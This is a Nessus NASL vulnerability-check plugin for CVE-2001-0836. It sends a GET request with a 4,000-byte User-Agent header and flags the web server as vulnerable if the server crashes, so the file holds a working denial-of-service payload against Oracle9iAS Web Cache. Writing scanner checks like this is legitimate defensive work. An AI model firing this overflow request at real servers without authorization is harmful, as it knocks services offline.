# # This script was written by Michel Arboi # GPL # *untested* # # Script audit and contributions from Carmichael Security # Erik Anderson # Added BugtraqID and CVE # # # References: # Date: Thu, 18 Oct 2001 16:16:20 +0200 # From: "andreas junestam" # Affiliation: Defcom # To: "bugtraq" # Subject: def-2001-30 # # Affected: # Oracle9iAS Web Cache/2.0.0.1.0 # if(description) { script_id(11069); script_bugtraq_id(3443, 3449, 7054); script_version ("$Revision: 1.14 $"); script_cve_id("CVE-2001-0836"); name["english"] = "HTTP User-Agent overflow"; script_name(english:name["english"]); desc["english"] = "It was possible to kill the web server by sending an invalid GET request with a too long User-Agent field A cracker may exploit this vulnerability to make your web server crash continually or even execute arbirtray code on your system. Solution : upgrade your software or protect it with a filtering reverse proxy Risk factor : High"; script_description(english:desc["english"]); summary["english"] = "Too long User-Agent kills the web server"; script_summary(english:summary["english"]); script_category(ACT_DENIAL); # All the www_too_long_*.nasl scripts were first declared as # ACT_DESTRUCTIVE_ATTACK, but many web servers are vulnerable to them: # The web server might be killed by those generic tests before Nessus # has a chance to perform known attacks for which a patch exists # As ACT_DENIAL are performed one at a time (not in parallel), this reduces # the risk of false positives. script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi"); family["english"] = "Gain root remotely"; family["francais"] = "Passer root à distance"; script_family(english:family["english"], francais:family["francais"]); script_require_ports("Services/www", 80); script_dependencie("find_service.nes", "httpver.nasl", "http_version.nasl"); exit(0); } ######## include("http_func.inc"); port = get_http_port(default:80); if(! get_port_state(port)) exit(0); if(http_is_dead(port: port)) exit(0); soc = http_open_socket(port); if(! soc) exit(0); # NB: Need at least 4000 bytes to crash Oracle Web # r = string("GET / HTTP/1.0\r\nUser-Agent: ", crap(4000), "\r\n\r\n"); # Nice trick from Renaud to handle HTTP/1.1 requests: r= http_get(item:"/", port:port); ua = egrep(pattern:"^User-Agent:", string:r); if(ua) { r = r - ua; } r= r - string("\r\n\r\n"); r= string(r, "\r\n", "User-Agent: ", crap(4000), "\r\n\r\n"); send(socket:soc, data: r); r = http_recv(socket:soc); http_close_socket(soc); if (http_is_dead(port: port)) { security_hole(port);}